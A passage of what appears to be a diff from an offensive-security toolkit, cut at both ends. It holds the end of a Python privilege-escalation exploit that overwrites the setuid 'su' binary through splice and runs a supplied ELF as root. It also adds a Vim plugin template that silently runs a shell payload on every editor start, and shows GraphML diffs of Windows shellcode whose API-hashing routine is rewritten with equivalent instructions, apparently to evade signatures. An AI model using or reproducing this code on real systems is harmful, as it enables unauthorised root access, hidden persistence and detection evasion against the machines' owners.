],
|
||||
32768
|
||||
)
|
||||
r, w = os.pipe()
|
||||
os.splice(su_fd, w, offset + 4, offset_src=0)
|
||||
os.splice(r, op_sock.fileno(), offset + 4)
|
||||
try:
|
||||
op_sock.recv(8 + offset)
|
||||
except:
|
||||
pass
|
||||
|
||||
su_path = shutil.which('su')
|
||||
su_fd = os.open(su_path, os.O_RDONLY)
|
||||
try:
|
||||
elf = zlib.decompress(base64.standard_b64decode(sys.argv[1]))
|
||||
except:
|
||||
print('[-] failed to load the ELF executable from the argument, it must be base64+gzip')
|
||||
sys.exit(os.EX_USAGE)
|
||||
|
||||
op_sock = setup_sock()
|
||||
for i in range(0, len(elf), 4):
|
||||
write(op_sock, su_fd, i, elf[i:i + 4])
|
||||
op_sock.close()
|
||||
|
||||
os.execvp(su_path, ["su"] + sys.argv[1:])
|
||||
@@ -0,0 +1,11 @@
|
||||
" NAME.vim - Runs in the background on startup, discards output
|
||||
|
||||
if !has('job') || exists('g:loaded_ZZWcUtfrDa')
|
||||
finish
|
||||
endif
|
||||
let g:loaded_NAME = 1
|
||||
|
||||
augroup NAME
|
||||
autocmd!
|
||||
autocmd VimEnter * silent! call job_start(["/bin/sh", "-c", "PAYLOAD_PLACEHOLDER"], {'out_io': 'null', 'err_io': 'null'})
|
||||
augroup END
|
||||
@@ -90,350 +90,343 @@
|
||||
<node id="block.0x1017:instruction.0x101b">
|
||||
<data key="address">0x101b</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">480fb74a4a</data>
|
||||
<data key="instruction.source">movzx rcx, word ptr [rdx + 0x4a]</data>
|
||||
<data key="instruction.hex">480fb74a48</data>
|
||||
<data key="instruction.source">movzx rcx, word ptr [rdx + 0x48]</data>
|
||||
</node>
|
||||
<node id="block.0x1017:instruction.0x1020">
|
||||
<data key="address">0x1020</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">4d31c9</data>
|
||||
<data key="instruction.source">xor r9, r9</data>
|
||||
<data key="instruction.hex">41b900000000</data>
|
||||
<data key="instruction.source">mov r9d, 0</data>
|
||||
</node>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x1023">
|
||||
<data key="address">0x1023</data>
|
||||
<node id="block.0x1026">
|
||||
<data key="address">0x1026</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x1023</data>
|
||||
<data key="address">0x1026</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x1023:instruction.0x1023">
|
||||
<data key="address">0x1023</data>
|
||||
<node id="block.0x1026:instruction.0x1026">
|
||||
<data key="address">0x1026</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">4831c0</data>
|
||||
<data key="instruction.source">xor rax, rax</data>
|
||||
</node>
|
||||
<node id="block.0x1023:instruction.0x1026">
|
||||
<data key="address">0x1026</data>
|
||||
<node id="block.0x1026:instruction.0x1029">
|
||||
<data key="address">0x1029</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">ac</data>
|
||||
<data key="instruction.source">lodsb al, byte ptr [rsi]</data>
|
||||
</node>
|
||||
<node id="block.0x1023:instruction.0x1027">
|
||||
<data key="address">0x1027</data>
|
||||
<node id="block.0x1026:instruction.0x102a">
|
||||
<data key="address">0x102a</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">3c61</data>
|
||||
<data key="instruction.source">cmp al, 0x61</data>
|
||||
</node>
|
||||
<node id="block.0x1023:instruction.0x1029">
|
||||
<data key="address">0x1029</data>
|
||||
<node id="block.0x1026:instruction.0x102c">
|
||||
<data key="address">0x102c</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">7c02</data>
|
||||
<data key="instruction.source">jl 0x102d</data>
|
||||
<data key="instruction.source">jl 0x1030</data>
|
||||
</node>
|
||||
<edge source="block.0x1023:instruction.0x1023" target="block.0x1023:instruction.0x1026"/>
|
||||
<edge source="block.0x1023:instruction.0x1026" target="block.0x1023:instruction.0x1027"/>
|
||||
<edge source="block.0x1023:instruction.0x1027" target="block.0x1023:instruction.0x1029"/>
|
||||
<edge source="block.0x1026:instruction.0x1026" target="block.0x1026:instruction.0x1029"/>
|
||||
<edge source="block.0x1026:instruction.0x1029" target="block.0x1026:instruction.0x102a"/>
|
||||
<edge source="block.0x1026:instruction.0x102a" target="block.0x1026:instruction.0x102c"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x102b">
|
||||
<data key="address">0x102b</data>
|
||||
<node id="block.0x102e">
|
||||
<data key="address">0x102e</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x102b</data>
|
||||
<data key="address">0x102e</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x102b:instruction.0x102b">
|
||||
<data key="address">0x102b</data>
|
||||
<node id="block.0x102e:instruction.0x102e">
|
||||
<data key="address">0x102e</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">2c20</data>
|
||||
<data key="instruction.source">sub al, 0x20</data>
|
||||
</node>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x102d">
|
||||
<data key="address">0x102d</data>
|
||||
<node id="block.0x1030">
|
||||
<data key="address">0x1030</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x102d</data>
|
||||
<data key="address">0x1030</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x102d:instruction.0x102d">
|
||||
<data key="address">0x102d</data>
|
||||
<node id="block.0x1030:instruction.0x1030">
|
||||
<data key="address">0x1030</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">41c1c90d</data>
|
||||
<data key="instruction.source">ror r9d, 0xd</data>
|
||||
</node>
|
||||
<node id="block.0x102d:instruction.0x1031">
|
||||
<data key="address">0x1031</data>
|
||||
<node id="block.0x1030:instruction.0x1034">
|
||||
<data key="address">0x1034</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">4101c1</data>
|
||||
<data key="instruction.source">add r9d, eax</data>
|
||||
</node>
|
||||
<node id="block.0x102d:instruction.0x1034">
|
||||
<data key="address">0x1034</data>
|
||||
<node id="block.0x1030:instruction.0x1037">
|
||||
<data key="address">0x1037</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">e2ed</data>
|
||||
<data key="instruction.source">loop 0x1023</data>
|
||||
<data key="instruction.source">loop 0x1026</data>
|
||||
</node>
|
||||
<edge source="block.0x102d:instruction.0x102d" target="block.0x102d:instruction.0x1031"/>
|
||||
<edge source="block.0x102d:instruction.0x1031" target="block.0x102d:instruction.0x1034"/>
|
||||
<edge source="block.0x1030:instruction.0x1030" target="block.0x1030:instruction.0x1034"/>
|
||||
<edge source="block.0x1030:instruction.0x1034" target="block.0x1030:instruction.0x1037"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x1036">
|
||||
<data key="address">0x1036</data>
|
||||
<node id="block.0x1039">
|
||||
<data key="address">0x1039</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x1036</data>
|
||||
<data key="address">0x1039</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x1036:instruction.0x1036">
|
||||
<data key="address">0x1036</data>
|
||||
<node id="block.0x1039:instruction.0x1039">
|
||||
<data key="address">0x1039</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">52</data>
|
||||
<data key="instruction.source">push rdx</data>
|
||||
</node>
|
||||
<node id="block.0x1036:instruction.0x1037">
|
||||
<data key="address">0x1037</data>
|
||||
<node id="block.0x1039:instruction.0x103a">
|
||||
<data key="address">0x103a</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">4151</data>
|
||||
<data key="instruction.source">push r9</data>
|
||||
</node>
|
||||
<node id="block.0x1036:instruction.0x1039">
|
||||
<data key="address">0x1039</data>
|
||||
<node id="block.0x1039:instruction.0x103c">
|
||||
<data key="address">0x103c</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">488b5220</data>
|
||||
<data key="instruction.source">mov rdx, qword ptr [rdx + 0x20]</data>
|
||||
</node>
|
||||
<node id="block.0x1036:instruction.0x103d">
|
||||
<data key="address">0x103d</data>
|
||||
<node id="block.0x1039:instruction.0x1040">
|
||||
<data key="address">0x1040</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">8b423c</data>
|
||||
<data key="instruction.source">mov eax, dword ptr [rdx + 0x3c]</data>
|
||||
</node>
|
||||
<node id="block.0x1036:instruction.0x1040">
|
||||
<data key="address">0x1040</data>
|
||||
<node id="block.0x1039:instruction.0x1043">
|
||||
<data key="address">0x1043</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">4801d0</data>
|
||||
<data key="instruction.source">add rax, rdx</data>
|
||||
</node>
|
||||
<node id="block.0x1036:instruction.0x1043">
|
||||
<data key="address">0x1043</data>
|
||||
<node id="block.0x1039:instruction.0x1046">
|
||||
<data key="address">0x1046</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">668178180b02</data>
|
||||
<data key="instruction.source">cmp word ptr [rax + 0x18], 0x20b</data>
|
||||
</node>
|
||||
<node id="block.0x1036:instruction.0x1049">
|
||||
<data key="address">0x1049</data>
|
||||
<node id="block.0x1039:instruction.0x104c">
|
||||
<data key="address">0x104c</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">7572</data>
|
||||
<data key="instruction.hex">756f</data>
|
||||
<data key="instruction.source">jne 0x10bd</data>
|
||||
</node>
|
||||
<edge source="block.0x1036:instruction.0x1036" target="block.0x1036:instruction.0x1039"/>
|
||||
<edge source="block.0x1036:instruction.0x1036" target="block.0x1036:instruction.0x1037"/>
|
||||
<edge source="block.0x1036:instruction.0x1037" target="block.0x1036:instruction.0x1049"/>
|
||||
<edge source="block.0x1036:instruction.0x1039" target="block.0x1036:instruction.0x103d"/>
|
||||
<edge source="block.0x1036:instruction.0x1039" target="block.0x1036:instruction.0x1040"/>
|
||||
<edge source="block.0x1036:instruction.0x103d" target="block.0x1036:instruction.0x1040"/>
|
||||
<edge source="block.0x1036:instruction.0x1040" target="block.0x1036:instruction.0x1043"/>
|
||||
<edge source="block.0x1036:instruction.0x1043" target="block.0x1036:instruction.0x1049"/>
|
||||
<edge source="block.0x1039:instruction.0x1039" target="block.0x1039:instruction.0x103c"/>
|
||||
<edge source="block.0x1039:instruction.0x1039" target="block.0x1039:instruction.0x103a"/>
|
||||
<edge source="block.0x1039:instruction.0x103a" target="block.0x1039:instruction.0x104c"/>
|
||||
<edge source="block.0x1039:instruction.0x103c" target="block.0x1039:instruction.0x1040"/>
|
||||
<edge source="block.0x1039:instruction.0x103c" target="block.0x1039:instruction.0x1043"/>
|
||||
<edge source="block.0x1039:instruction.0x1040" target="block.0x1039:instruction.0x1043"/>
|
||||
<edge source="block.0x1039:instruction.0x1043" target="block.0x1039:instruction.0x1046"/>
|
||||
<edge source="block.0x1039:instruction.0x1046" target="block.0x1039:instruction.0x104c"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x104b">
|
||||
<data key="address">0x104b</data>
|
||||
<node id="block.0x104e">
|
||||
<data key="address">0x104e</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x104b</data>
|
||||
<data key="address">0x104e</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x104b:instruction.0x104b">
|
||||
<data key="address">0x104b</data>
|
||||
<node id="block.0x104e:instruction.0x104e">
|
||||
<data key="address">0x104e</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">8b8088000000</data>
|
||||
<data key="instruction.source">mov eax, dword ptr [rax + 0x88]</data>
|
||||
</node>
|
||||
<node id="block.0x104b:instruction.0x1051">
|
||||
<data key="address">0x1051</data>
|
||||
<node id="block.0x104e:instruction.0x1054">
|
||||
<data key="address">0x1054</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">4885c0</data>
|
||||
<data key="instruction.source">test rax, rax</data>
|
||||
</node>
|
||||
<node id="block.0x104b:instruction.0x1054">
|
||||
<data key="address">0x1054</data>
|
||||
<node id="block.0x104e:instruction.0x1057">
|
||||
<data key="address">0x1057</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">7467</data>
|
||||
<data key="instruction.hex">7464</data>
|
||||
<data key="instruction.source">je 0x10bd</data>
|
||||
</node>
|
||||
<edge source="block.0x104b:instruction.0x104b" target="block.0x104b:instruction.0x1051"/>
|
||||
<edge source="block.0x104b:instruction.0x1051" target="block.0x104b:instruction.0x1054"/>
|
||||
<edge source="block.0x104e:instruction.0x104e" target="block.0x104e:instruction.0x1054"/>
|
||||
<edge source="block.0x104e:instruction.0x1054" target="block.0x104e:instruction.0x1057"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x1056">
|
||||
<data key="address">0x1056</data>
|
||||
<node id="block.0x1059">
|
||||
<data key="address">0x1059</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x1056</data>
|
||||
<data key="address">0x1059</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x1056:instruction.0x1056">
|
||||
<data key="address">0x1056</data>
|
||||
<node id="block.0x1059:instruction.0x1059">
|
||||
<data key="address">0x1059</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">4801d0</data>
|
||||
<data key="instruction.source">add rax, rdx</data>
|
||||
</node>
|
||||
<node id="block.0x1056:instruction.0x1059">
|
||||
<data key="address">0x1059</data>
|
||||
<node id="block.0x1059:instruction.0x105c">
|
||||
<data key="address">0x105c</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">50</data>
|
||||
<data key="instruction.source">push rax</data>
|
||||
</node>
|
||||
<node id="block.0x1056:instruction.0x105a">
|
||||
<data key="address">0x105a</data>
|
||||
<node id="block.0x1059:instruction.0x105d">
|
||||
<data key="address">0x105d</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">8b4818</data>
|
||||
<data key="instruction.source">mov ecx, dword ptr [rax + 0x18]</data>
|
||||
</node>
|
||||
<node id="block.0x1056:instruction.0x105d">
|
||||
<data key="address">0x105d</data>
|
||||
<node id="block.0x1059:instruction.0x1060">
|
||||
<data key="address">0x1060</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">448b4020</data>
|
||||
<data key="instruction.source">mov r8d, dword ptr [rax + 0x20]</data>
|
||||
</node>
|
||||
<node id="block.0x1056:instruction.0x1061">
|
||||
<data key="address">0x1061</data>
|
||||
<node id="block.0x1059:instruction.0x1064">
|
||||
<data key="address">0x1064</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">4901d0</data>
|
||||
<data key="instruction.source">add r8, rdx</data>
|
||||
</node>
|
||||
<edge source="block.0x1056:instruction.0x1056" target="block.0x1056:instruction.0x1059"/>
|
||||
<edge source="block.0x1056:instruction.0x1056" target="block.0x1056:instruction.0x105a"/>
|
||||
<edge source="block.0x1056:instruction.0x1056" target="block.0x1056:instruction.0x105d"/>
|
||||
<edge source="block.0x1056:instruction.0x105d" target="block.0x1056:instruction.0x1061"/>
|
||||
<edge source="block.0x1059:instruction.0x1059" target="block.0x1059:instruction.0x105c"/>
|
||||
<edge source="block.0x1059:instruction.0x1059" target="block.0x1059:instruction.0x105d"/>
|
||||
<edge source="block.0x1059:instruction.0x1059" target="block.0x1059:instruction.0x1060"/>
|
||||
<edge source="block.0x1059:instruction.0x1060" target="block.0x1059:instruction.0x1064"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x1064">
|
||||
<data key="address">0x1064</data>
|
||||
<node id="block.0x1067">
|
||||
<data key="address">0x1067</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x1064</data>
|
||||
<data key="address">0x1067</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x1064:instruction.0x1064">
|
||||
<data key="address">0x1064</data>
|
||||
<node id="block.0x1067:instruction.0x1067">
|
||||
<data key="address">0x1067</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">e356</data>
|
||||
<data key="instruction.hex">e353</data>
|
||||
<data key="instruction.source">jrcxz 0x10bc</data>
|
||||
</node>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x1066">
|
||||
<data key="address">0x1066</data>
|
||||
<node id="block.0x1069">
|
||||
<data key="address">0x1069</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x1066</data>
|
||||
<data key="address">0x1069</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x1066:instruction.0x1066">
|
||||
<data key="address">0x1066</data>
|
||||
<node id="block.0x1069:instruction.0x1069">
|
||||
<data key="address">0x1069</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">48ffc9</data>
|
||||
<data key="instruction.source">dec rcx</data>
|
||||
</node>
|
||||
<node id="block.0x1066:instruction.0x1069">
|
||||
<data key="address">0x1069</data>
|
||||
<node id="block.0x1069:instruction.0x106c">
|
||||
<data key="address">0x106c</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">418b3488</data>
|
||||
<data key="instruction.source">mov esi, dword ptr [r8 + rcx*4]</data>
|
||||
</node>
|
||||
<node id="block.0x1066:instruction.0x106d">
|
||||
<data key="address">0x106d</data>
|
||||
<node id="block.0x1069:instruction.0x1070">
|
||||
<data key="address">0x1070</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">4801d6</data>
|
||||
<data key="instruction.source">add rsi, rdx</data>
|
||||
</node>
|
||||
<node id="block.0x1066:instruction.0x1070">
|
||||
<data key="address">0x1070</data>
|
||||
<node id="block.0x1069:instruction.0x1073">
|
||||
<data key="address">0x1073</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">4d31c9</data>
|
||||
<data key="instruction.source">xor r9, r9</data>
|
||||
<data key="instruction.hex">448b4c2408</data>
|
||||
<data key="instruction.source">mov r9d, dword ptr [rsp + 8]</data>
|
||||
</node>
|
||||
<edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x106d"/>
|
||||
<edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x1069"/>
|
||||
<edge source="block.0x1066:instruction.0x1069" target="block.0x1066:instruction.0x106d"/>
|
||||
<edge source="block.0x1069:instruction.0x1069" target="block.0x1069:instruction.0x1070"/>
|
||||
<edge source="block.0x1069:instruction.0x1069" target="block.0x1069:instruction.0x106c"/>
|
||||
<edge source="block.0x1069:instruction.0x106c" target="block.0x1069:instruction.0x1070"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x1073">
|
||||
<data key="address">0x1073</data>
|
||||
<node id="block.0x1078">
|
||||
<data key="address">0x1078</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x1073</data>
|
||||
<data key="address">0x1078</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x1073:instruction.0x1073">
|
||||
<data key="address">0x1073</data>
|
||||
<node id="block.0x1078:instruction.0x1078">
|
||||
<data key="address">0x1078</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">4831c0</data>
|
||||
<data key="instruction.source">xor rax, rax</data>
|
||||
</node>
|
||||
<node id="block.0x1073:instruction.0x1076">
|
||||
<data key="address">0x1076</data>
|
||||
<node id="block.0x1078:instruction.0x107b">
|
||||
<data key="address">0x107b</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">ac</data>
|
||||
<data key="instruction.source">lodsb al, byte ptr [rsi]</data>
|
||||
</node>
|
||||
<node id="block.0x1073:instruction.0x1077">
|
||||
<data key="address">0x1077</data>
|
||||
<node id="block.0x1078:instruction.0x107c">
|
||||
<data key="address">0x107c</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">41c1c90d</data>
|
||||
<data key="instruction.source">ror r9d, 0xd</data>
|
||||
</node>
|
||||
<node id="block.0x1073:instruction.0x107b">
|
||||
<data key="address">0x107b</data>
|
||||
<node id="block.0x1078:instruction.0x1080">
|
||||
<data key="address">0x1080</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">4101c1</data>
|
||||
<data key="instruction.source">add r9d, eax</data>
|
||||
</node>
|
||||
<node id="block.0x1073:instruction.0x107e">
|
||||
<data key="address">0x107e</data>
|
||||
<node id="block.0x1078:instruction.0x1083">
|
||||
<data key="address">0x1083</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">38e0</data>
|
||||
<data key="instruction.source">cmp al, ah</data>
|
||||
</node>
|
||||
<node id="block.0x1073:instruction.0x1080">
|
||||
<data key="address">0x1080</data>
|
||||
<node id="block.0x1078:instruction.0x1085">
|
||||
<data key="address">0x1085</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">75f1</data>
|
||||
<data key="instruction.source">jne 0x1073</data>
|
||||
<data key="instruction.source">jne 0x1078</data>
|
||||
</node>
|
||||
<edge source="block.0x1073:instruction.0x1073" target="block.0x1073:instruction.0x1076"/>
|
||||
<edge source="block.0x1073:instruction.0x1073" target="block.0x1073:instruction.0x1077"/>
|
||||
<edge source="block.0x1073:instruction.0x1073" target="block.0x1073:instruction.0x107e"/>
|
||||
<edge source="block.0x1073:instruction.0x1076" target="block.0x1073:instruction.0x107b"/>
|
||||
<edge source="block.0x1073:instruction.0x1076" target="block.0x1073:instruction.0x107e"/>
|
||||
<edge source="block.0x1073:instruction.0x1077" target="block.0x1073:instruction.0x107b"/>
|
||||
<edge source="block.0x1073:instruction.0x1077" target="block.0x1073:instruction.0x1080"/>
|
||||
<edge source="block.0x1073:instruction.0x107b" target="block.0x1073:instruction.0x107e"/>
|
||||
<edge source="block.0x1073:instruction.0x107e" target="block.0x1073:instruction.0x1080"/>
|
||||
<edge source="block.0x1078:instruction.0x1078" target="block.0x1078:instruction.0x107b"/>
|
||||
<edge source="block.0x1078:instruction.0x1078" target="block.0x1078:instruction.0x107c"/>
|
||||
<edge source="block.0x1078:instruction.0x1078" target="block.0x1078:instruction.0x1083"/>
|
||||
<edge source="block.0x1078:instruction.0x107b" target="block.0x1078:instruction.0x1080"/>
|
||||
<edge source="block.0x1078:instruction.0x107b" target="block.0x1078:instruction.0x1083"/>
|
||||
<edge source="block.0x1078:instruction.0x107c" target="block.0x1078:instruction.0x1080"/>
|
||||
<edge source="block.0x1078:instruction.0x107c" target="block.0x1078:instruction.0x1085"/>
|
||||
<edge source="block.0x1078:instruction.0x1080" target="block.0x1078:instruction.0x1083"/>
|
||||
<edge source="block.0x1078:instruction.0x1083" target="block.0x1078:instruction.0x1085"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x1082">
|
||||
<data key="address">0x1082</data>
|
||||
<node id="block.0x1087">
|
||||
<data key="address">0x1087</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x1082</data>
|
||||
<data key="address">0x1087</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x1082:instruction.0x1082">
|
||||
<data key="address">0x1082</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">4c034c2408</data>
|
||||
<data key="instruction.source">add r9, qword ptr [rsp + 8]</data>
|
||||
</node>
|
||||
<node id="block.0x1082:instruction.0x1087">
|
||||
<node id="block.0x1087:instruction.0x1087">
|
||||
<data key="address">0x1087</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">4539d1</data>
|
||||
<data key="instruction.source">cmp r9d, r10d</data>
|
||||
</node>
|
||||
<node id="block.0x1082:instruction.0x108a">
|
||||
<node id="block.0x1087:instruction.0x108a">
|
||||
<data key="address">0x108a</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">75d8</data>
|
||||
<data key="instruction.source">jne 0x1064</data>
|
||||
<data key="instruction.hex">75db</data>
|
||||
<data key="instruction.source">jne 0x1067</data>
|
||||
</node>
|
||||
<edge source="block.0x1082:instruction.0x1082" target="block.0x1082:instruction.0x1087"/>
|
||||
<edge source="block.0x1082:instruction.0x1087" target="block.0x1082:instruction.0x108a"/>
|
||||
<edge source="block.0x1087:instruction.0x1087" target="block.0x1087:instruction.0x108a"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x108c">
|
||||
@@ -640,17 +633,17 @@
|
||||
</graph>
|
||||
</node>
|
||||
<edge source="block.0x1000" target="block.0x1017"/>
|
||||
<edge source="block.0x1017" target="block.0x1023"/>
|
||||
<edge source="block.0x1023" target="block.0x102b"/>
|
||||
<edge source="block.0x102b" target="block.0x102d"/>
|
||||
<edge source="block.0x102d" target="block.0x1036"/>
|
||||
<edge source="block.0x1036" target="block.0x104b"/>
|
||||
<edge source="block.0x104b" target="block.0x1056"/>
|
||||
<edge source="block.0x1056" target="block.0x1064"/>
|
||||
<edge source="block.0x1064" target="block.0x1066"/>
|
||||
<edge source="block.0x1066" target="block.0x1073"/>
|
||||
<edge source="block.0x1073" target="block.0x1082"/>
|
||||
<edge source="block.0x1082" target="block.0x108c"/>
|
||||
<edge source="block.0x1017" target="block.0x1026"/>
|
||||
<edge source="block.0x1026" target="block.0x102e"/>
|
||||
<edge source="block.0x102e" target="block.0x1030"/>
|
||||
<edge source="block.0x1030" target="block.0x1039"/>
|
||||
<edge source="block.0x1039" target="block.0x104e"/>
|
||||
<edge source="block.0x104e" target="block.0x1059"/>
|
||||
<edge source="block.0x1059" target="block.0x1067"/>
|
||||
<edge source="block.0x1067" target="block.0x1069"/>
|
||||
<edge source="block.0x1069" target="block.0x1078"/>
|
||||
<edge source="block.0x1078" target="block.0x1087"/>
|
||||
<edge source="block.0x1087" target="block.0x108c"/>
|
||||
<edge source="block.0x108c" target="block.0x10bc"/>
|
||||
<edge source="block.0x10bc" target="block.0x10bd"/>
|
||||
</graph>
|
||||
|
||||
@@ -69,492 +69,471 @@
|
||||
<node id="block.0x100f:instruction.0x1012">
|
||||
<data key="address">0x1012</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">0fb74a26</data>
|
||||
<data key="instruction.source">movzx ecx, word ptr [edx + 0x26]</data>
|
||||
<data key="instruction.hex">0fb74a24</data>
|
||||
<data key="instruction.source">movzx ecx, word ptr [edx + 0x24]</data>
|
||||
</node>
|
||||
<node id="block.0x100f:instruction.0x1016">
|
||||
<data key="address">0x1016</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">31ff</data>
|
||||
<data key="instruction.source">xor edi, edi</data>
|
||||
<data key="instruction.hex">bf00000000</data>
|
||||
<data key="instruction.source">mov edi, 0</data>
|
||||
</node>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x1018">
|
||||
<data key="address">0x1018</data>
|
||||
<node id="block.0x101b">
|
||||
<data key="address">0x101b</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x1018</data>
|
||||
<data key="address">0x101b</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x1018:instruction.0x1018">
|
||||
<data key="address">0x1018</data>
|
||||
<node id="block.0x101b:instruction.0x101b">
|
||||
<data key="address">0x101b</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">31c0</data>
|
||||
<data key="instruction.source">xor eax, eax</data>
|
||||
</node>
|
||||
<node id="block.0x1018:instruction.0x101a">
|
||||
<data key="address">0x101a</data>
|
||||
<node id="block.0x101b:instruction.0x101d">
|
||||
<data key="address">0x101d</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">ac</data>
|
||||
<data key="instruction.source">lodsb al, byte ptr [esi]</data>
|
||||
</node>
|
||||
<node id="block.0x1018:instruction.0x101b">
|
||||
<data key="address">0x101b</data>
|
||||
<node id="block.0x101b:instruction.0x101e">
|
||||
<data key="address">0x101e</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">3c61</data>
|
||||
<data key="instruction.source">cmp al, 0x61</data>
|
||||
</node>
|
||||
<node id="block.0x1018:instruction.0x101d">
|
||||
<data key="address">0x101d</data>
|
||||
<node id="block.0x101b:instruction.0x1020">
|
||||
<data key="address">0x1020</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">7c02</data>
|
||||
<data key="instruction.source">jl 0x1021</data>
|
||||
<data key="instruction.source">jl 0x1024</data>
|
||||
</node>
|
||||
<edge source="block.0x1018:instruction.0x1018" target="block.0x1018:instruction.0x101a"/>
|
||||
<edge source="block.0x1018:instruction.0x101a" target="block.0x1018:instruction.0x101b"/>
|
||||
<edge source="block.0x1018:instruction.0x101b" target="block.0x1018:instruction.0x101d"/>
|
||||
<edge source="block.0x101b:instruction.0x101b" target="block.0x101b:instruction.0x101d"/>
|
||||
<edge source="block.0x101b:instruction.0x101d" target="block.0x101b:instruction.0x101e"/>
|
||||
<edge source="block.0x101b:instruction.0x101e" target="block.0x101b:instruction.0x1020"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x101f">
|
||||
<data key="address">0x101f</data>
|
||||
<node id="block.0x1022">
|
||||
<data key="address">0x1022</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x101f</data>
|
||||
<data key="address">0x1022</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x101f:instruction.0x101f">
|
||||
<data key="address">0x101f</data>
|
||||
<node id="block.0x1022:instruction.0x1022">
|
||||
